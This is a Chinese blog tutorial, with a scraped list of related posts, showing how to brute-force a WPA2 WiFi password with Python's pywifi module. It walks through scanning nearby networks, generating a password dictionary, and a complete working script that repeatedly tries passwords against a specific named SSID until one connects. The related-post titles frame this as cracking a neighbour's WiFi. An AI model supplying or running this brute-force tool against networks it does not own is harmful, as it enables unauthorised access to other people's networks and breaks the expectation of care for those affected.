现在的年轻人没网可不行,家里没有网络的也都会搜索看看附近有没有能够连接的网络,可是没有密码该怎么办呢,很多人都会想到用万能钥匙,那么本篇文章我们就用Python来自己实现一下wifi密码的破解。

模块介绍

Python提供了一个用于操作无线接口的跨平台模块:pywifi。
所以我们先将该模块下载好,下载指令:pip install pywifi。关于pywifi模块的使用这里有介绍:https://github.com/awkman/pywifi/blob/master/DOC.md,感兴趣的同学可以进去看看。

模块初体验

安装好模块之后,我们来尝试着使用一下,新建一个.py文件,将模块导入:

import pywifi
# 需要下载该模块comtypes
from pywifi import const

这里的第二行代码意思是引用pywifi模块中定义的常量,引入后就可以直接使用了。

判断是否连接到wifi环境

pywifi模块如何判断我们当前是否已经连接了wifi呢?很简单:

import pywifi
# 需要下载该模块comtypes
from pywifi import const# 判断是否已经连接到wifi
def gic():# 创建一个无线对象wifi = pywifi.PyWiFi()# 获取到第一个无线网卡ifaces = wifi.interfaces()[0]print(ifaces.name())gic()

首先创建一个无线对象,通过该对象调用interfaces()方法可以获得网卡列表,通常,一个平台只有一个wifi接口,所以直接取索引0获得我们的网卡对象,并打印其名称,运行结果为:

Qualcomm Atheros AR956x Wireless Network Adapter
[Finished in 0.7s]

然后我查看了自己的网卡名称:

说明刚才的程序已经成功获取到了网卡对象,通过该对象调用status()方法能够知晓我们的wifi状态,比如:

import pywifi
# 需要下载该模块comtypes
from pywifi import const# 判断是否已经连接到wifi
def gic():# 创建一个无线对象wifi = pywifi.PyWiFi()# 获取到第一个无线网卡ifaces = wifi.interfaces()[0]print(ifaces.status())gic()

此时运行程序,结果为:

4
[Finished in 0.7s]

实际上,wifi共有四种状态,分别为:

  1. const.IFACE_DISCONNECTED:值为0,表示未连接
  2. const.IFACE_SCANNING:值为1,表示正在扫描
  3. const.IFACE_INACTIVE:值为2,表示未激活
  4. const.IFACE_CONNECTING:值为3,表示正在连接
  5. const.IFACE_CONNECTED:值为4,表示已连接

从这些常量定义中,可以得知我的电脑目前是连接了wifi的,事实也确实如此:

所以如何实现判断当前是否连接到了wifi,代码如下:

import pywifi
# 需要下载该模块comtypes
from pywifi import const# 判断是否已经连接到wifi
def gic():# 创建一个无线对象wifi = pywifi.PyWiFi()# 获取到第一个无线网卡ifaces = wifi.interfaces()[0]# 判断wifi状态if ifaces.status() == const.IFACE_CONNECTED:print("已连接")else:print("未连接")gic()

运行结果:

已连接
[Finished in 0.8s]

扫描附近的wifi

再介绍一下如何使用pywifi模块扫描附近的wifi:

import pywifi
# 需要下载该模块comtypes
from pywifi import const# 扫描附近的wifi
def bies():wifi = pywifi.PyWiFi()ifaces = wifi.interfaces()[0]# 扫描wifiifaces.scan()# 获取扫描结果result  = ifaces.scan_results()for data in result:# ssid为wifi的名称print(data.ssid)bies()

想实现这个功能非常简单,还是先获取到网卡对象,然后调用该对象的scan()方法进行扫描,并调用scan_results()获取扫描结果,最后遍历一下内容,运行结果为:

Tenda_29F708
Tenda_29F708
ChinaNet-4m2m
CMCC-ZTRF
ChinaNet-5inu
ChinaNet-iTV-5inu
CMCC-PrvR
TP-LINK_402ChinaNet-iTV-pkQy
FAST_8326
H3C_27B7EC
TP-LINK_A3AD
ChinaNet-q5xV
TP-LINK_3EC0
ChinaNet-iTV-q5xV
CMCC-CyQ7
TP-LINK_D14A
TP-LINK_BD06
jiangqi
ChinaNet-aork
iTV-aork
CMCC-4NDa
Chinanet
DoMyNet_1170
@PHICOMM_5E
ChinaNet-n3kT
MERCURY_A616
midea_da_0519
TP-LINK_7145
ChinaNet-hjDH
iTV-hjDH
DIRECT-NCLAPTOP-PMOEF6JBmsGm
ChinaNet-pkQy
ChinaNet-WDkE
CMCC-hvzz
CMCC-3NtF
TP-LINK_BE59yjj
MERCURY_4690
ChinaNet-iTV-4m2m
ChinaNet-2.4G-402PHICOMM_9A6656
[Finished in 1.2s]

看来我附近的wifi还是挺多的哈,当然这是未连接wifi的结果,如果你已经连接上了wifi,它将只能扫描到已连接的wifi,比如我连接上wifi后再运行程序,结果为:

Tenda_29F708
Tenda_29F708
[Finished in 0.9s]

断开wifi连接

所以不管你当前是否连接上了网络,在开始破解之前,我得先将wifi断开连接:

import pywifi
# 需要下载该模块comtypes
from pywifi import const
import time# 测试连接
def wifiConnection(pwd):# 抓取网口wifi = pywifi.PyWiFi()# 获取第一个无线网卡ifaces = wifi.interfaces()[0]# 断开所有的连接ifaces.disconnect()time.sleep(1)wifiConnection()

尝试连接wifi

接下来就是最为重要的一个功能,连接wifi,通过pywifi连接wifi需要以下几个步骤:

  1. 创建wifi连接文件
  2. 确定要连接的wifi名称
  3. 确定wifi的密码
  4. 确定wifi的加密算法
  5. 对网卡开放
  6. 确定加密单元
  7. 删除之前的所有wifi文件
  8. 添加自己创建的wifi文件
  9. 使用新的wifi文件进行连接

按照这些步骤进行编写,代码如下:

# 测试连接
def wifiConnection(pwd):# 抓取网口wifi = pywifi.PyWiFi()# 获取第一个无线网卡ifaces = wifi.interfaces()[0]# 断开所有的连接ifaces.disconnect()time.sleep(1)wifiStatus = ifaces.status()if wifiStatus == const.IFACE_DISCONNECTED:# 创建wifi的连接文件profile = pywifi.Profile()  # 要连接wifi的名称profile.ssid = "Tenda_29F708"# 对网卡开放profile.auth = const.AUTH_ALG_OPEN# wifi加密算法profile.akm.append(const.AKM_TYPE_WPA2PSK)# 加密单元profile.cipher = const.CIPHER_TYPE_CCMP# 密码profile.key = pwd# 删除所有的wifi文件ifaces.remove_all_network_profiles()# 设定新的连接文件tep_profile = ifaces.add_network_profile(profile)# 用新的连接文件去测试连接ifaces.connect(tep_profile)# 给wifi一个连接的时间time.sleep(4)if ifaces.status() == const.IFACE_CONNECTED:return Trueelse:return Falseelse:print("已连接")

在上面的一系列步骤中,仅有一步内容是不确定的,那就是wifi的密码,我们并不知道wifi的密码,所以我们的想法是不断地将某个密码传入进行测试连接,若连接失败,则换个密码继续尝试直至连接成功。

关键就是这个wifi的密码该如何生成呢?这个在网上去搜其实有很多:

当然你也可以自己生成密码本,不过自己生成的肯定没有人家的全面,要生成密码本也很简单,代码如下:

import itertools as its
# 迭代器words = "123"r = its.product(words,repeat = 3)
# 保存到文件中
dic = open("wifipwd.txt","a")
for i in r:dic.write("".join(i))dic.write("".join("\n"))
dic.close()

运行程序,产生wifipwd.txt文本,文本内容为:

111
112
113
121
122
123
131
132
133
211
212
213
221
222
223
231
232
233
311
312
313
321
322
323
331
332
333

不过wifi的密码远没有这么简单,它应该包含数字、大小写字母甚至是特殊字符,所以自己写的密码本俨然不够全面,比如:

import itertools as its
# 迭代器words = "1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"# repeat表示生成的密码位数
r = its.product(words,repeat = 8)
# 保存到文件中
dic = open("wifipwd.txt","a")
for i in r:dic.write("".join(i))dic.write("".join("\n"))
dic.close()

该程序能够生成8位含数字、大小写字母的wifi密码。

开始破解

一切工作准备就绪,可以开始破解了,破解过程即:读取密码本,将密码本中的密码不断地传入测试连接的函数,如此反复,直到连接成功,程序完整代码如下:

import pywifi
# 需要下载该模块comtypes
from pywifi import const
import time# 判断是否已经连接到wifi
def gic():# 创建一个无线对象wifi = pywifi.PyWiFi()# 获取到第一个无线网卡ifaces = wifi.interfaces()[0]if ifaces.status() == const.IFACE_CONNECTED:print("已连接")else:print("未连接")# 扫描附近的wifi
def bies():wifi = pywifi.PyWiFi()ifaces = wifi.interfaces()[0]# 扫描wifiifaces.scan()# 获取扫描结果result  = ifaces.scan_results()for data in result:# ssid为wifi的名称print(data.ssid)# 读取密码本
def readPassword():print("开始破解:")# 密码本路径path = "C:\\Users\\Administrator\\Desktop\\CrawlerDemo\\wifipwd.txt"# 打开文件file = open(path,"r")while True:try:# 读取一行password = file.readline()bool = wifiConnection(password)if bool:print("密码正确",password)breakelse:print("密码不正确",password)except:continue# 测试连接
def wifiConnection(pwd):# 抓取网口wifi = pywifi.PyWiFi()# 获取第一个无线网卡ifaces = wifi.interfaces()[0]# 断开所有的连接ifaces.disconnect()time.sleep(1)wifiStatus = ifaces.status()if wifiStatus == const.IFACE_DISCONNECTED:# 创建wifi的连接文件profile = pywifi.Profile()  # 要连接wifi的名称profile.ssid = "Tenda_29F708"# 网卡的开放状态profile.auth = const.AUTH_ALG_OPEN# wifi加密算法profile.akm.append(const.AKM_TYPE_WPA2PSK)# 加密单元profile.cipher = const.CIPHER_TYPE_CCMP# 密码profile.key = pwd# 删除所有的wifi文件ifaces.remove_all_network_profiles()# 设定新的连接文件tep_profile = ifaces.add_network_profile(profile)# 用新的连接文件去测试连接ifaces.connect(tep_profile)# 给wifi一个连接的时间time.sleep(4)if ifaces.status() == const.IFACE_CONNECTED:return Trueelse:return Falseelse:print("已连接")readPassword()

到这里,破解wifi程序就完成了,如果你理解了这个程序会发现,这种方式去破解wifi显然很糟糕,如果wifi密码很简单的话,应该还是能够破解出来的,只是时间问题(如果你有一个完善的密码本)。

女朋友让你帮他破解邻居家的wifi?看完这篇文章你就会了相关推荐

  1. 为什么有些WIFI不能用万能钥匙搜索到?怎么才能破解邻居家的WIFI密码?

    wifi万能钥匙,一个曾经风靡一时的软件.在18年以前,wifi万能钥匙可以说是最热门的软件之一,用户数超过九亿,月活数超过五亿,比新浪微博的月活还要高得多. 但是好景不长,18年4月份,国家工信部发 ...

  2. Python黑科技——暴力破解邻居家的WiFi密码,用WiFi不需要求人

    流量不够用怎么办? 随着时代的发展,流量也是越来越不够用了,办无限网卡吗?月租太贵不划算,还是用Wi-Fi舒服,不用担心流量用没了,今天用python教大家写一个暴力破解Wi-Fi的程序,Wi-Fi在 ...

  3. 安卓开发文档!花三分钟看完这篇文章你就懂了!帮你突破瓶颈

    导语 2020年是转折的一年,2021年算是收获的一年,趁着金三银四开始找工作.先分享一下offer的情况 阿里高德(offer) 爱奇艺(offer) 腾讯视频(offer) 小米(被拒) 今日头条 ...

  4. 《520之前脱单》单身的兄弟们看这里教你如何快速找到女朋友并发生故事 当然是选动态规划呀 听说看完的人都脱单了

    论如何快速在520之前找到女朋友并发生故事 不会吧 不会吧 不会到现在还有人没有脱单吧!别急,兄弟们,看完这篇文章你还找不多女朋友算我的.好啦,废话不多说,直接上干货.(前方高能,请注意,老铁们,稳住 ...

  5. 如何优雅地蹭邻居家的wifi

    如何优雅地蹭邻居家的wifi 你是蹭WiFi的那个人呢,还是-- 不知道你是都有过这样的经历,回到老家,有网就会变得很奢侈,无奈流量不够的我,只能去蹭邻居的WiFi..[坏笑] 但是!邻居家把门一关信 ...

  6. 利用Python暴力破解邻居家WiFi密码

    如觉得博主文章写的不错或对你有所帮助的话,还望大家多多支持呀!关注.点赞.收藏.评论. 文章目录 一.编写代码 二.展示测试结果 三.测试 四.生成密码本(建议自己找一个密码本) 一.编写代码 在桌面 ...

  7. 果然还是邻居家的wifi好用,这篇Python学习教程教你蹭网啦

    当代年轻人最焦虑的事情莫过于兜里没手机,手机没网络吧.一会儿不摸下手机,浑身不自在,焦虑!没网恐怕更焦虑吧!脑阔疼.这几天刚搬了新家,网也还没办下来,周末的两天可焦虑坏我了,然后又一想,没wifi在我 ...

  8. 看完这篇人工智能的文章,能帮你超越90%的人

    文章目录 人工智能的误解 什么是人工智能? 人工智能的发展史 人工智能的局限性 客观看待人工智能 百度百科+维基百科 扩展阅读 人工智能和 AI 已经走入了普通大众的视野,我们在生活中可以看到很多跟 ...

  9. 二本学渣考研失败,看懂这些帮你轻松解决就业问题!看完直接跪服

    面试准备 不论是校招还是社招都避免不了各种面试.笔试,如何去准备这些东西就显得格外重要. 运筹帷幄之后,决胜千里之外!不打毫无准备的仗,我觉得大家可以先从下面几个方面来准备面试: 1. 自我介绍.(介 ...

最新文章

  1. 聚焦机器学习和数据科学大佬工作的一天
  2. 自定义spring schema简化与canal集成
  3. c的关于数组初始化 和 memset用法
  4. 分布式理论、架构设计(自定义RPC)
  5. Blazor University (5)组件 — 字面量、表达式和指令
  6. RabbitMQ六种队列模式-主题模式
  7. 存储网络与存储系统架构分析
  8. python 等值面 插值_利用numpy/scipy从三维阵列计算等值面
  9. java redis pipeline,巧用 Redis pipeline 命令,解决真实的生产问题
  10. poi各种jar包作用和导入
  11. atitit.身份认证解决方案attilax总结
  12. 北理乐学c语言基础答案晕,北理乐学C语言答案最新.doc
  13. Symbolic Math Toolbox——MuPAD
  14. 抽帧定格动画如何制作?AE制作哈利波特定格动画教程
  15. API接口电商平台商品详情,网络爬虫数据(步骤示例,参数返回值说明)
  16. 计算机U盘启动键,u盘启动按哪个键? 教你进入bios设置U盘启动
  17. 域名是干啥用的?企业自己都记不住的域名还能发挥作用吗?
  18. 机器学习---数据科学包-第4天
  19. Vue全家桶之webpack详解(四)
  20. 网易云IM(即时通讯) 集成指南(Android)

热门文章

  1. Python生成exe文件的方法
  2. HTTP协议(超文本传送协议)详解--超经典
  3. windows mobile 的Start menu 为什么不能透明背景是吧
  4. 软文管家_怎么在新闻媒体上发稿?怎样才能联系权威媒体记者?
  5. “驱动人生”利用高危漏洞传播病毒
  6. 计算机硕士专业考研难度排名,2021考研:计算机考研难度排行榜
  7. ABB机器人编程基础_手动示教+记录+修改点位数据的具体方法和步骤示例
  8. ppt测试什么软件,PDF转PPT软件哪个好测试
  9. SDF 文件格式说明
  10. html中如何加视频背景音乐,怎么用html设置背景音乐